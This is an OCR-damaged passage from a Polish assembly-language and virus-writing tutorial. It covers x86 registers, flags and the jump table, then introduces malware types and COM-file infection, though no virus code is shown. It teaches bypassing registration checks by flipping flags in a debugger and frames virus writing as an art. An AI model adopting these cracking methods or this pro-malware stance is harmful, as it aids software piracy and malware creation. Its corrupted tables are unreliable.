e CX (count) — rejestr zliczajacy jest wykorzystywany oprdcz zliczania takze do przesytania
danych. Moze by¢ takze uzywany jako dwa rejestry 8-bitowe CH i CL.

e DX (data) — rejestr danych wykorzystuje si¢ przy dzieleniu i mnozeniu. Jest takze jedynym
rejestrem, w ktérym mozna podac adres portu w rozkazach wejscia-wyjscia.

Rejestry segmentowe sluza do adresowania pamigci operacyjne;j.

e CS (code segment) — rejestr wskazuje poczatek segmentu kodu programu, tworzy pelny
adres wraz z rejestrem IP — CS:IP. Rozkazy programu, skoki, powroty pobierane sa w
odniesieniu do tego rejestru.
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e DS (data segment) — rejestr wskazujacy poczatek segmentu danych
e SS (stack segment) — rejestr stosu wskazuje poczatek segmentu stosu

o ES (extra segment) — rejestr dodatkowy wskazujacy dodatkowy segment danych

Rejestry wskaznikow. Dostep do danych adresowany jest przez polaczenie adresu z rejestru
segmentu z przesunieciem pobieranym z innego rejestru min. rejestru wskaznikowego.

e SI (source index) — rejestr indeksowy zrodla, najczesciej stosowany przy adresowaniu w
instrukcjach przetwarzajacych tancuchy znakéw, tworzy wéwczas pelny adres DS:SI

e DI (destination index) — rejestr indeksowy przeznaczenia, podobny do SI uzywany w adre-
sowaniu danych przy przetwarzaniu fancuchéw znakéw, tworzy wéwczas pelny adres ES:DI

e SP (stack pointer) — wskaznik stosu tworzy wraz z SS — SS:SP adres danej odestanej na
stos 1 jest wykorzystywany przy pobieraniu i zapisywaniu danych na stos.

e BP (base pointer) — wskaznik bazy uzywany jest podczas operacji niestandardowych np. przy
pobieraniu parametréw przekazywanych na stos.

e [P (instruction pointer) — wskaznik instrukcji wskazuje na aktualnie wykonywang in-
strukcje i wraz z rejestrem segmentu kodu tworzy pelny adres — CS:IP. IP wskazuje offset
(przesuniecie) wzgledem poczatku segmentu programu.

4.1.3 Flagi — rejestr znacznikéw

Falgi sa komérkami, ktére moga przyjmowac wartos¢ 0 lub 1 i sg zawarte w rejestrze znacznikdw.
Odpowiednie ustawienie poszczegdlnych flag decyduje o wykonaniu innych instrukeji a szczeg6l-
nie instrukeji warunkowych. Najszybciej zrozumiec flagi mozna na przykladzie :

CMP AX,BX ; Pordwnaj rejestry AX z BX, jezeli rowne
; to flaga zerowa Z ustawiona na 1

JZ 0401233 ; Jezeli flaga Z ustawiona na 1 to wykona]
; skok do adrsu 0401233

Oczywiscie intrukcja CMP ustawia takze inne flagi z zaleznosci od wyniku poréwnania i po-
dobnie inne instrukcje warunkowych skokéw moga sprawdzaé takze inne flagi. Szczegdlowiej
przedstawie to przy omoéwieniu skokéw warunkowych.

Po co nam znajomos¢ flag, ano po to aby podzczas analizy kodu wiedzie¢ jaki wynik dato po-
réwnanie danych i czy np. skok zostanie wykonany czy nie. Poza tym debugujac program mozemy
zmieni¢ dzialanie instrukeji skoku zmieniajac stan znacznikow.

Np. w powyzszym przykladzie AX jest rowne BX i flaga zerowa Z zostata ustawiona na 1 wiec
skok warunkowy zostanie wykonany. Jezeli jednak mimo rownosci AX i BX nie chcemy wykona¢
skoku to podczas sledzenia programu resetujemy flage zerowa.

Ciekawostki:

e Bit 6 rejestru znacznikéw — znacznik zera, najwazniejsza przy pierwszych krokach famania
programéw. Decyduje o podstawowych skokach warunkowych :-)
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e Bit 8 rejestru znacznikéw — flaga pracy krokowej (TF — trap flag) ustawia procesor w
trybie pracy krokowej w celu uruchomienia programu pod debugerem,

e Bit 10 rejestru znacznikow — flaga kierunku (DF — direction flag) wymusza zwieksza-
nia lub zmniejszanie rejestréw indeksowych przy wykonywaniu instrukeji operujacych na
tancuchach czyli albo rosnaco albo malejaco (czyli od lewej do prawej albo na odwrdét).

4.1.4 Flagi — Rejestr znacznikéw — specyfikacja Intel 8086

Rejestr znacznikdw jest 16 bitowym rejestrem, sze$¢ bitow zawiera informacje o stanach, trzy
pozwalaja sterowac praca procesora z poziomu programu a dwa pozostale zwiazane sa z trybem
wirtualnym.

|11 10| F|E[D|C|B|A[9|8]7]6]5]4]|3]2]1]0
L - CF Carry Flag
| ]

|

|

|

|
| | | >--- PF Parity Flag
| --- 0
--- AF Auxiliary Flag
--- 0
"--- [LF [ero Flag
"--- SF Sign Flag
--- TF Trap Flag (Single Step)
--- IF Interrupt Flag
--- DF Direction Flag
"--- OF Qverflow flag
R IOPL I/0 Privilege Level (tylko 286+)
- NT Nested Task Flag (tylko 286+)
T 0
oo RF Resume Flag (tylko 386+)
oo VM Virtual Mode Flag (tylko 386+)

s

s

e Bit 0, (CARRY FLAG) — Znacznik przeniesienia, ma warto$¢ 1 jesli dodawanie powoduje
przeniesienie lub odejmowanie powoduje pozyczenie, w przeciwnym razie ma wartosc¢ 0.
CF zawiera takze warto$¢ przesunigcia lub przesunigtego cyklicznie bitu wychodzacego po-
za rejestr lub komorke pamieci, oddaje takze wynik operacji poréwnania. CF dziata takze
jako wskaznik dla operacji mnozenia.

e Bit 2, (PARITY FLAG) — Znacznik parzystosci — ma wartos$¢ 1 gdy wynik operacji ma
parzysta ilos¢ bitéw o wartosci 1, w przeciwnym wypadku znacznik przyjmuje wartos$c 0.
PF jest gléwnie uzywany przy przesylaniu danych.

e Bit 4, (AUXILIARY CARRY FLAG) — znacznik przeniesienia pomocniczego — ma po-
dobne znaczenie jak CF, ale pokazuje przeniesienie lub pozyczke od bitu 3 w gére. AF jest
uzyteczny przy dziataniach na "spakowanych" liczbach dziesi¢tnych.



38

ROZDZIAL 4. ZBYT KROTKIE WPROWADZENIE DO ASSEMBLERA

Bit 6, (ZERO FLAG) — znacznik zera — ma wartos¢ 1 gdy wynik operacji jest zerem, wynik
rozny od zera ustawia na 0

Bit 7, (SIGN FLAG) — znacznik znaku — ma znaczenie tylko podczas operacji na liczbach
ze znakiem, SF przyjmuje warto$¢ 1 jesli wynikiem operacji arytmetycznych, logicznych,
przesunie¢ jest warto$¢ ujemna, w przeciwnym wypadku przyjmuje warto$¢ 0. Inaczej mo-
wiac SF pokazuje najbardziej znaczacy bit (bit znaku) wyniku, niezaleznie czy wynik jest 8
czy 16-bitowy

Bit 8, (TRAP FLAG) — znacznik pracy krokowej — ustawia procesor w trybie pracy kro-
kowej, w celu uruchomienia programu po debugerem.

Bit 9, (INTERRUPT FLAG) — znacznik zezwolenia na przerwanie — zezwala procesoro-
wi rozpozna¢ zadanie obstugi przerwan pochodzace od zewnetrznych urzadzen systemu.
Wyzerownie IF powoduje, ze procesor ignoruje przerwania.

Bit 10, (DIRECTORY FLAG) — znacznik kierunku — wymusza zmniejszenie (DF=1) lub
zwiekszenie (DF=0) rejestréw indeksowych po wykonaniu instrukeji operujacych na tan-
cuchach. Jesli DF =0 to procesor przetwarza fanicuchy w kierunku rosnacych adreséw (od
strony lewej do prawej) a jak 1 to w kierunku odwrotnym.

Bit 11, (OVERFLOW FLAG) — znacznik nadmiaru — jest gtéwnie wskaznikiem btedu
podczas operacji na liczbaczh ze znakiem. OF=1 jesli dodanie dwéch liczb z jednakowym
znakiem lub odjecie dwdch liczb z roznymi znakami daje wynik nie mieszczacy si¢ w ar-
gumencie wykonanej instrukeji, w przeciwnym przypadku znacznik jest 0. OF ma takze
warto$¢ 1 gdy najbardziej znaczacy bit (bit znaku) argumentu zostanie zmieniony przez
przesuniecie podczas operacji arytmetycznej, w przeciwnym przypadku jest 0. Znacznik
OF, razem ze znacznikiem CF, wskazuje takze dlugo$¢ wyniku mnozenia. Jesli bardziej zna-
czaca czesc iloczynu jest rozna od zera to OF i CF sa réwne 1, jezeli jest inaczej to oba
znaczniki sa réwne 0. OF takze przyjmuje wartos¢ 1 gdy operacja z dzielenia daje iloraz
przekraczajacy rejestr przeznaczenia.

4.1.5 Stos

Stos (ang. stack) jest miejscem przechowywania danych takich jak rejestry lub zawartosci komoérek
pamieci. Mamy dwie instrukcje PUSH, ktéra przesyla dane na szczyt stosu i POP, ktéra pobiera
dane ze szczytu stosu. Stos jest stertg na ktérej uktadane sa dane, kazda dana ukladana jest na
szczyt a poprzednia dana schodzi na dalsza pozycje. Czyli istotna jest kolejnos¢ kladzenia danych
na stos, gdyz w takiej samej( a dokladnie odwrotnej) kolejnosci musimy pobiera¢ dane ze stosu:

PUSH EAX ; kladzie na szczyt stosu EAX
PUSH EBX ; kladzie na szczyt stosu EBX a EAX

;  schodzi na dalsza pozycje

...instrukcje

POP EBX ; pobiera ze szczytu dana ktora jest
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; EBX (a na szczycie zostaje EAX)
POP EAX ; pobiera ze szczytu stosu EAX

Acha jeszcze jedno, na szczyt stosu wskazuje tzw. wskaznik stosu SP (Stack Pointer) a instruk-
cje PUSH i POP zwiekszajg i zmniejszaja ten wskaznik. Rejestr ten nigdy nie jest ustawiany bo
procesor to robi automatycznie i zawsze wskazuje adres szczytu stosu (szczytowego stowa). Pa-
trzac ogolnie na pamigé komputera, kazda czg$¢ programu moze utworzy¢ swoja dowolng prze-
strzen stosu. Programista powinien tak przydzieli¢ pamie¢ aby stos nie pokrywat si¢ przypadkiem
z innymi obszarami pamieci.

4.1.6 CALL i RET — wywotanie funkg;ji i procedur
CALL adres — wywotuje funkcje o podanym adresie i wykonuje jg az do powrotu (RET).

instrukcje...
CALL 040ABCCC
Mov eax,edx

instrukcje...

Wywotanie CALL wywola funkcje o adrsie 040ABCCC i po powrocie z niej (RET) program
bedzie kontynuowal dalej MOV eax,edx itd. Jak to si¢ dzieje, Ze program wie gdzie ma wrdcié?
Ano CALL kladzie adres kodu na stosie, natomiast RET pobiera ten adres i wraca tam gdzie
potrzeba.

Jezeli CALL wywotuje jakie$ funkcje, to argumenty takiej funkcji ktadziemy na stosie przed
wywolaniem CALL. Przyktad takiego dzialania:

MOV EDI,[ESP+00000220]1 ; Zapisuje uchwyt okienka dialogowego w EDI

PUSH 00000100 ; Maksymalny rozmiar tekstu na stos
PUSH 00406130 ; Adres bufora dla tekstu na stos
PUSH 00000405 ; Identyfikator na stos

PUSH EDI ; Uchwyt okienka dialogowego na stos
CALL GetWindowText : Wywolanie funkcji o parametrach

; zapisanych na stosie.

Widzimy wiec, ze przy jakich§ ciekawych wywotaniach funkcji warto zastanowic sie jakie pa-
rametry ktadzione sa na stosie i ogdlnie warto sie zorientowac jakich parametrow dana funkcja
wymaga.

4.1.7 MOV — instrukcja przeniesienia

To najczgsciej spotykana instrukcja umozliwiajaca przenoszenie danych pomiedzy rejestrem a

komérka lub pomiedzy rejestrami lub kopiowania stalej wartosci do rejestru lub komérki. Ogélna

posta¢ to MOV przeznaczenie, zrédlo i nie powinno nikomu sprawic klopotu jej zrozumienie.
Przyklady:

MOV EDS, EAX ; przeniesienie miedzy dwoma rejestrami 32-bitowymi
MOV CL, 39 ; przeniesienie stalej do rejestru
MOV ES:[BX],AX ; zmiana przypisania segmentu
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Kilka uwag:

1. Nie mozna bezposrednio przenies¢ danych pomiedzy komérkami pamieci. Musimy naj-
pierw przenie$¢ dane do rejestru ogdlnego przeznaczenia a pdzniej z rejestru do przezna-
czenia w pamieci. Przyklad, mamy dwie zmienne w pamieci np. TYLEK i ZADEK i aby
przenies wartosc z jednej do drugiej to:

MOV AX,TYLEK
MOV ZADEK,AX

2. Nie mozna zaladowac bezposrednio staltej do rejestru segmentu, musimy ja przenies¢ przez
rejestr og6lnego przeznaczenia:

MOV AX, ADRES_DS
MOV DS, AX

3. Podobnie nie mozemy przenie$¢ bezposrednio zawartosci jednego rejestru segmentu do
drugiego, podobnie musimy przez rejestr ogélnego przeznaczenia:

MOV AX, ES
MOV DS, AX

4. Nie mozna uzy¢ rejestru CS jako argumentu przeznaczenia w instrukcji MOV.

Widzicie wigc jakie kombinacje nalezy wykonywac z danymi i dlaczego az tak duzo instrukeji
MOV mamy w kodzie programu.

4.1.8 CMP i skoki warunkowe

Bardzo wazna instrukcja jest CMP (ang. compare), ktéra decyduje o dziataniu programu, petlach,

skokach, wywotaniach podprograméw itp. Instrukcaja CMP dziala na zasadzie odejmowania Zr6-

dta od przeznaczenia i sprawdzaniu otrzymanego wyniku. Gtéwnym celem dziatania tej instruk-

cji jest ustawienie rejestréw w zaleznosci od otrzymanego wynniku. W przypadku operacji na

argumentach bez znaku ustawiane sa dwie flagi — zerowa ZF i przeniesienia CF, natomiast przy

operacjach na argumentach ze znakiem dodatkowo jeszcze — nadmiaru OF i znaku SF
Przyklad:

CMP AX,BX ; jezeli AX = BX to ZF=1 i CF=0
; gdy AX > BX to ZF=0 i CF=1
. gdy AX < BX to ZF i CF=0

Na podstawie spelnianych warunkoéw, czyli ustawieniu poszczegélnych flag moga nastapic
skoki warunkowe w kodzie. Najczesciej spotykany JZ — skok jezeli ustawiona flaga Z czyli np. w
przypadku poréwnania czy AX=BX i jezeli tak to skok.

Podobna instrukcja jest TEST, ktéra dla odmiany przeprowadza operacje logiczna na bajtach
— AND ale nie zapamigtuje wyniku a jedynie na jego podstawie ustawia odpowiednio flagi.

Przyklad:
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CALL procedura ; skok do etykiety procedura

TEST AX,AX

JZ adres? ; Jezeli AX=0 to skocz do adres?

MOV AH, 4CH

MOV AL, OOH

INT 21H ; W tym miejscu program sie zakonczy

procedura: MOV AX,1
CMP  Wpisany_kod, Dobry_kod
JE dobrywpis

RET ; powrodt
dobrywpis:

XOR AX,AX ; AX =0

RET ; powrot

Procedura CALL wywotluje np. procedure sprawdzania poprawnosci danych rejestracyjnych
i w przypadku pomyslnym zapisuje do AX wartosci logiczna 0 (np. przez XOR AX,AX) a jezeli
zfe to zapisuje 1. Teraz instrukcja TEST AX,AX wykonuje operacje logiczna na AX czyli AX and
AX, jezeli byto (0 to 0) AND 0 da nam 0 i flaga zerowa Z zostaje ustawiona na 1. Teraz instrukcja
skoku warunkowego sprawdza czy flaga zerowa Z=1 i robi skok. Natomiast gdy by bylo (1 AND
1) to flaga Z=0 i skok nie nastapi.

A procedurka to wiadomo, na poczatku wpisujemy wartosc logiczna 1 do AX (czyli zty kod) a
pozniej sprawdzamy jaki faktycznie jest wpisany kod, jezeli poprawny to skok i operacja (1 XOR
1) co da nam 0 w AX i powrdt, a jak zly to niech pozostanie 1 i powrot.

Nalezy pamietag, ze instrukcje CMP 1 TEST wykonujg operacje na argumentach, ktérych wy-
konanie ustawia kilka odpowiednich flag w zaleznosci od wielkosci argumentéw, znaku, przenie-
sienia itp. Dlatego tez mozemy wykona¢ odpowiednie skoki nie tylko przy warunku A=B ale tez
w zaleznosci czy mniejsze, wigksze, ze znakiem itp.

W tabeli 4.3 wymieniono wszystkie skoki. * zostaly oznaczone te, ktére sa szczegélnie wazne
dla arytmetyki liczb ze znakiem (uzuplnienie do dwéch).

] Instrukcja H Opis \ Skok jesli... ‘

JA || skok gdy powyzej CF=01ZF=0
JAE || skok gdy powyzej lub réwny CF=0
JB || skok gdy ponizej CF=1
JBE || skok gdy ponizej lub réwny CF=1 lub ZF=1
JC || skok gdy przeniesienie CF=1
JCXZ || skok gdy CX=0 CX=0
JE || skok gdy jest réwny ZF=1

JG || skok gdy wigkszy ZF=0 i SF=0OF
JGE || skok gdy wigkszy lub rowny * SF=OF
JL || skok gdy mniejszy SF != OF
JLE || skok gdy mniejszy lub réwny x* ZF=1 lub SF!=0OF
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| JMP || skok bezwarunkowy \ bez warunku |
JNA || skok gdy nie powyzej CF=1 lub ZF=1
JNAE || skok gdy nie powyzej ani réwny CF=1
JNB || skok gdy nie ponizej CF=0
JNBE || skok gdy nie ponizej ani réwny CF=01ZF=0
JNC || skok gdy nie ma przeniesienia CF=0
JNE || skok gdy nie réwny ZF=0
JNG || skok gdy nie wiekszy ZF=1 lub SF!=0OF
JNGE || skok gdy nie wigkszy ani réwny SE!=OF
JNL || skok gdy nie mniejszy * SF=OF
JNLE || skok gdy nie mniejszy ani réwny ZF=01SF=0F
JNO || skok gdy niema przepelnienia x* OF=0
JNP || skok gdy nie parzystosc PF=0
JNS || skok gdy brak znaku x* SF=0
JNZ || skok gdy r6zne od zera ZF=0
JO || skok gdy jest przepelnienie * OF=1
JP || skok gdy parzystosc PF=1
JPE || skok gdy parzystos¢ parzysta :-) PF=1
JPO || skok gdy parzysto$¢ nieparzysta PF=0
JS || skok gdy jest znak x SF=1
’ JZ H skok gdy jest zero ‘ ZF=1

Tabela 4.3: Skoki

Np. skok JA (skok gdy powyzej) wykonany jest gdy flagi CF=0 i ZF=0 i wykonuje skok gdy
przeznaczenie jest wigksze od Zrodlo (bo to wyniklo z operacji poréwnania i takiego ustawienia
flag). Od razu zaznaczam, ze analizujac kod pod Softlce aby zmienic skok np. musimy nie tylko
zmienic flage Z ale i C (czyli np. r fl z; r fl ¢). To samo tyczy sie innych skokow warunkowych i
zapraszam do tabeli specyfikacji skokéw warunkowych.

4.1.9 TEST EAX,EAX — co to znaczy !

Powyzsza linia kodu wydaje sie niezrozumiata. Nalezy jednak zastanowic si¢ co robi dokladnie.
Instrukcja TEST wykonuje operacje AND na dwéch argumentach i w oparciu o ten wynik usta-
wiane sg odpowiednie flagi.

Nalezato by wigc przeanalizowaé czym jest operacja mnozenia logicznego AND. Dziata ona
na argumentach rozmiaru bajt lub slowo (ale nie na ich zwyktej postaci a postaci binarnej, bo
dziata doktadnie na bitach tych liczb).

Z matematyki wiemy ze 0 AND 0=0;0AND 1 =011 ANDO=0alAND 1 =1 a wigc
operacja daje wynik jeden wtedy i tylko wtedy gdy oba bity réwne sg jeden.

Wezmy teraz TEST EAX, EAX. Zatézmy ze EAX=0 czyli 00000000 AND 00000000 = 00000000
czyli na kazdej pozycji bedzie 0 i wtedy ustawiana jest flaga zerowa Z. Natomiast przy kazdej innej
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warto$ci np. 00000011 AND 00000011 da nam 00000011 i wtedy jezeli gdziekolwiek na dowolnej
pozycji wystapia w obu argumentach 1 to flaga Z nie jest ustawiana.

Daje nam to mozliwo$¢ sprawdzenia czy np. EAX jest 0 czy jakas inna wartoscia, gdyz tylko
poréwnanie dwéch TYCH SAMYCH liczb o wartosci 0 da nam 0 i ustawi flage. Operacja AND
na kazdych dw6ch TAKICH SAMYCH roznych od zera nie ustawi flagi zerowej bo zawsze gdzies
bedzie 1 w bitach.

Dlatego tez w programach czesto spotykane instrukcje TEST EAX,EAX a pozniej JZ adres
maja catkiem logiczne znaczenie bo skok nastapi tylko w przypadku EAX=0. Nie nalezy wiec
sugerowac sie domyslnym znaczeniem instrukcji prownania EAX z EAX.

Na razie by bylo na tyle. Postaram sie to rozbudowac w przysztosci. Niech bity i mocz bedg z
Wami!






Rozdziat 5

Tanczac z bajtami

5. Co to jest wirus komputerowy?

Kazdy si¢ chyba zgodzi, ze wirusy sg jednym z najpiekniejszych i najbardziej tajemniczych tworéw
w Swiecie komputeréw. Duzo si¢ dzi§ styszy o wirusach. Po §wiatku komputerowym krazy wiele
legend i mitéw, czesto nieprawdziwych i przesadzonych. Czym tak whasciwie jest wirus kompu-
terowy? Przy dzisiejszej liczbie wiruséw, ich réznorodnosci i pomystowosci technik stosowanych
przez autoréw trudno jest $cisle odpowiedzie¢ na to pytanie. Krotko méwiac; wirus jest to pro-
gram taki sam jak gra, czy aplikacja uzytkowa. Program ten ma jednak inne zadania. Jakie? To
zalezy juz tylko od inwencji i kunsztu autora. Wiele os6b uwaza, ze wirus przede wszystkim musi
co$ niszczy¢ lub plata¢ jakiego$ ztosliwego figla. To prawda, ze wiele wiruséw zawiera w sobie
takie czy inne funkcje destrukcyjne, ale nie sg one bynajmniej ich gléwnym elementem, a wrecz
przeciwnie. Funkcje destrukcyjne to ostatnie pociagniecia pedzla artysty. Glownym elementem
kazdego wirusa sa funkcje odpowiedzialne za jego rozmnazanie i ekspansj¢ w systemie, badz sie-
ci. I to jest whasnie to, co wyrdznia je wsréd innych programéw komputerowych: umiejetnosc
rozmnazania i samoistnego przenoszenia si¢ z komputera na komputer. Jezeli program spetnia te
kryterium mozna $§miato nazwac go wirusem. Wiele 0s6b do wspdlnego wora z etykieta WIRUSY
wrzuca réwniez inne programy ingerujace bez wiedzy uzytkownika w dzialanie systemu:

wirus jest to krétki program pisany najczesciej w jezyku niskiego poziomu majacy zdolnosc sa-
mopowielania po uruchomieniu. Wirusy do swojej egzystencji potrzebujg programu no-
siciela, do ktérego doczepiaja si¢ odpowiednio go modyfikujac. Po uruchomieniu takiego
programu najpierw uruchamia sie wirus, a dopiero po zakonczeniu jego dzialania sterowa-
nie zostaje zwrdécone do programu ofiary, ktéry wykonuje swoje normalne funkcje. Zwykty
uzytkownik zwykle nic nie zauwaza.

bomba logiczna o ile wirusy s pisane przez bardzo doswiadczonych programistéw, o tyle bom-
by logiczne sa pisane zwykle przez osoby, ktére pierwszy raz dorwaly si¢ do funkgji systemo-
wych (odczyt, zapis do pliku, usuwanie pliku itp.) i bardzo chcialyby do czegos wykorzysta¢
swoje nowe umiejetnosci. Pisza, wiec program np. w Pascalu ktéry po uruchomieniu usuwa
z dysku np. plik io.sys co uniemozliwia start systemu. Taka bomba laduje czesto u kolegéw,
albo w szkole z podpisem jakiej$ znanej gry. Bomby logiczne maja czesto zapalnik czasowy
np. dziataja tylko miedzy 14, a 15 w poniedziatek.
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konie trojanskie konie trojanskie sa gtéwnie uzywane w celu zdobywania miast wzglednie kom-
puteréw. Celem wirusa jest zarazenie jak najwiekszej liczby komputeréw. Kon trojanski
moze zostaC napisany z mysla o tylko jednym systemie. Jakie sa zadania konia trojanskie-
go? To réwniez zalezy w znacznej mierze od inwencji autora i zastosowania. Np. koniem
trojanskim nazwiemy program, ktéry po uruchomieniu na komputerze ofiary wysle nam
pliki z jego hastami lub wykona inng czynnos¢ utatwiajaca nam wlamanie do systemu. Ko-
nie trojanskie oparte sg na podstepie. Czesto udajg gry, spakowane zdjecia itp.

robaki robak to program, ktérego dziatanie podobnie jak dziatanie wirusa polega na kopiowaniu
samego siebie. R6znica polega na tym, ze robak nie potrzebuje innego programu, pod ktéry
moglby sie podczepi¢. Robaki sg najbardziej popularne w siaciach, gdyz maja tam dostep
do protokoléw transmisji plikéw, dzigki czemu mogg si¢ rozmnazac.

Jak wspomniatem juz wczesniej powyzszy podzial nie jest Scisty. Przy dzisiejszym rozwoju
sieci zaciera si¢ réznica miedzy poszczeg6lnymi typami wrednych programoéw. Wiekszo$¢ wiru-
séw ma dzisiaj zaréwno cechy robaka(przenoszenie si¢ siecig), wirusa(infekcja plikéw), bomby
logicznej(destrukcja), czy konia trojanskiego (wysytanie haset, dokumentéw *.doc itp.).

5.2 Epitafium dla DOSu

Juz stysze ten glos: Czlowieku, czys ty zglupial? Po co napisates ksigzke przeterminowang o
dziesiec lat!

W pewnym sensie go$¢ ma racje. DOS umarl i nikt chyba nie jest z tego powodu zadowolony.
Po co wigc uczy¢ si¢ pisal wirusy, ktére i tak nie bedg mogly rozmnazac si¢ we wspolczesnym
Swiecie? Musisz wiedzie¢, ze techniki pisania wiruséw przy przejsciu z DOS do Windows nie
zmienily si¢ az tak bardzo. Postaram Cig, przekona¢, ze warto przeczyta¢ pierwszy tom mojej

pracy:

1. Wirusy pisze si¢ w Assemblerze, zaréwno te DOSowe jak i te pod Windows. Ksiazka ta
poprawi przede wszystkim Twojg znajomos¢ Assemblera, co da Ci wigksze mozliwosci przy
wirusach dla platformy Windows.

2. W ksigzce sg opisane techniki, ktére wykorzystujg rowniez nowe wirusy np. szyfrowanie,
polimorfizm.

3. Wirusy DOSowe sa prostsze. Latwiej na przykladzie starych wiruséw wyjasni¢ pewne tech-
niki stosowane przez mikroby.

4. Potraktuj pisanie wirusow jak sztuke dla sztuki. Robig to bo to kocham, a nie dlatego, ze
mam jaka$ chora zadze destrukgji i chce tylko niszczyé.

Mysle wiec, ze po zapoznaniu si¢ z tg czeScig mojej szkoty bedziesz dobrze przygotowany, do
pisania wiruséw pod Windows. Jezeli pisate$(as) juz w Assemblerze i naprawde nie chcesz uczy¢
sie o wirusach pod DOS przeczytaj tylko rozdzialy o szyfrowaniu i polimorfizmie. Sg one jak
najbardziej aktualne.
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5.3 Co programista wiruséw wiedzie¢ powinien

Przy pisaniu pracy, zakladatem, ze programowates(as) juz kiedys i znasz przynajmniej w ele-
mentarnym stopniu Assembler. Jesli nie, nie ma czym si¢ martwic. Zajrzyj do spisu literatury na
koncu ksiazki i zakup jaki$ podrecznik do nauki Assemblera. Jezeli poznasz Assembler w stopniu
elementarnym jeste$ juz gotowy(a) do lektury, poniewaz wszystkie trudniejsze miejsca progra-
moéw sa sczegétowo skomentowane, a funkcje opisane. Nie bede si¢ jednak rozdrabnial nad takimi
zagadnieniami jak np. co robi rozkaz jne, czy cmp, gdyz byloby to irytujace dla bardziej zaawan-
sowanych i mijato by sie z celem. Na rynku jest wiele wspanialych podrecznikéw do Assemblera,
wiec pisanie kolejnego nie ma sensu.

Wskazana jest rowniez znajomos¢ jakiego$ jezyka wyzszego poziomu np. Pascal, C, C++, a
najlepiej wszystkich naraz, gdyz trudne algorytmy beda najpierw przedstawione w jednym z tych
jezykow.

Niektérzy uwazaja, ze Assembler to bardzo trudny jezyk. Moje motto to: Dla chetnego, nic
trudnego. Osobiscie uwazam, ze Assemblera mozna si¢ jako tako nauczy¢ w trzy tygodnie. Pascala
Czytelnik powinien zna¢ ze szkoly.

Wskazana jest rowniez elementarna znajomos$¢ matematyki (rozdzialy o kryptografii).

5.3.1 Wymagana znajomos$¢ Assemblera

Oto lista zagadnien, ktére powinniennes(a$) znac z Assemblera, aby zrozumie¢ w pelni tres¢

ksiazki:
1. Niedziesietne systemy liczbowe.
2. Elementarna znajomo$¢ budowy procesoréw.
3. Organizacja i zarzadzanie pamigcia w systemie operacyjnym DOS.
4. Szablony programéw COM i EXE w Assemblerze.
5. Deklarowanie zmiennych i staltych w Assemblerze.

6. Adresowanie pamieci — segment i offset. Podzial pamieci na segmenty. Przesylanie da-
nych.

7. Operacje na stosie.
8. Procedury i makroinstrukcje.
9. Operacje arytmetyczne i logiczne. Przesuwanie bitow.
10. Skoki warunkowe i bezwarunkowe. Instrukcje poréwnujace.
11. Petle i operacje na taficuchach - rozkazy MOV Sx, STOSx, LODSx itp.

12. Informacje podstawowe o przerwaniach. Mechanizm przejmowania przerwan bedzie do-
kadnie opisny.

13. Operacje na plikach.
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Pogrubiong czcionka wyréznitem tematy szczeg6lnie wazne. Powiniennes$(as) zwrdcic na nie
szczegblna uwage. Dokladne zrozumienie tych tematéw to klucz do krainy Assemblera.

5.3.2 Wpymagana znajomos¢ Pascala

Znajomomo§$¢ Pascala nie jest konieczna, chociaz bytaby wskazana. Pascal jest tatwym jezy-
kiem. Poczytaj jakas ksiazke do poduszki. Zapoznaj si¢ z podstawowymi algorytmami np. sor-
towanie, dynamiczne struktury danych, elementy analizy algorytméw, teoria graféw i problemy
optymalizacji na grafach. Programowania i wiedzy nigdy za duzo.

5.3.3 Wpymagana znajomos¢ C i C++

W tym tomie ksiazki nie bedziemy zbyt wiele uzywac¢ C++, ale kazdy haker, a tym bardziej pro-
gramista wiruséw powinien znac ten jezyk. Za pomoca C++ bede ilustrowal wiele przyktadéw w
IT tomie mojej szkoly traktujacym o wirusach dla Windows. Z C bedziemy korzysta¢ przy nauce
WinAssemblera.

Zacznij si¢ powoli uczy¢ tego jezyka, jesli jeszcze go nie znasz.

A teraz juz doé¢ lania wody. Przejdzmy do tego, co Tygryski lubia najbardziej: KODOWANIA
WIRUSOW.



Rozdziat 6
Infekcja plikow COM

6.1 Drogi ekspansji wirusow w systemie operacyjnym DOS

Jak wspomnialem juz wcze$niej, zadaniem kazdego wirusa jest rozmnazanie si¢. Podstawowa
technikg stosowang przez wirusy jest doklejenie si¢ do pliku innego programu. Dzieki infekgji
jak najwiegkszej ilosci plikéw na danym komputerze zwigkszamy szanse wirusa na przedostanie
sie¢ do innego systemu. Aby zarazi¢ nowy komputer wystarczy tylko uruchomi¢ na nim jeden z
zarazonych plikoéw. Wirus przeszuka dysk niezainfekowanego komputera i doklei si¢ do progra-
moéw, ktdre znajdzie.

6.2 Budowa pliku COM

Pliki COM sg programami o bardzo prostej budowie, dlatego tez stanowia znakomity kasek dla
programistow wiruséw. Pliki COM dominowaly gléwnie we wczesnej fazie istnienia systemu
DOS.

Pliki COM wyréznia gtéwnie fakt, ze zawiraja one program w postaci absolutnej. Program
COM wyglada w pamieci dokladnie tak samo jak na dysku, nie zawiera nagléwka(tak jak pliki
EXE) méwiacemu systemowi operacyjnemu, jak ma zatadowa¢ program do pamieci. Gdy uru-
chamiamy COMa DOS taduje calq jego zawartos¢ pod adres CS:100h i wykonuje skok do tego
adresu(ustawia wskaznik rozkazu IP na 100h). Program zaczyna si¢ wykonywac¢ az do instrukgji
zwrocenia sterowania do systemu. Caly program musi zmiesci¢ si¢ w jednym segmencie danych,
czyli moze mie¢ maksimum 64KB. Wynika to z tego, ze za pomoca szesnastobitowego adresu
mozemy najwyzej zaadresowaé przestrzen od CS:0000h do CS:FFFFh, poniewaz jednak program
COM zaczyna si¢ zawsze od CS:0100h mozemy odbliczy¢ maksymalng dtugos¢ pliku COM:

FFFFh — 0100h = FEFFh = 65279d

Przyjrzyjmy sie teraz ogélnej budowie pliku COM. Bedziemy uzywa¢ kompilatora TASM.
Jezeli go nie posiadasz sciagnij z internetu. Jest ogélnie dostepny.

HELLO.ASM

; Program wySwietla tekst na ekranie.
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; Kompilacja: TASM (z opcjg 'la’ - tworzy listing programu)
Konsolidacja: TLINK (z opcja 't’ - tworzy program’*.com’)

segment_kodu SEGMENT ; poczatek segmentu programu
ASSUME cs:nothing, ds:nothing, es:nothing, ss:nothing

; ASSUME - Jjest dyrektywg kompilatora, a nie instrukcjg
; procesora. Méwi ona kompilatorowi zeby automatycznie
; uzupetniat nazwy segmentdéw przy adresowaniu.

; Moim zdaniem nalezy pisaC dtugie postacie adresodw.

; Uniknie sige w ten sposéb wielu btedow.

; lea dx, hello <- krétka postacC adresu
; lea dx, cs:[hello] <- dtuga postaC adresu

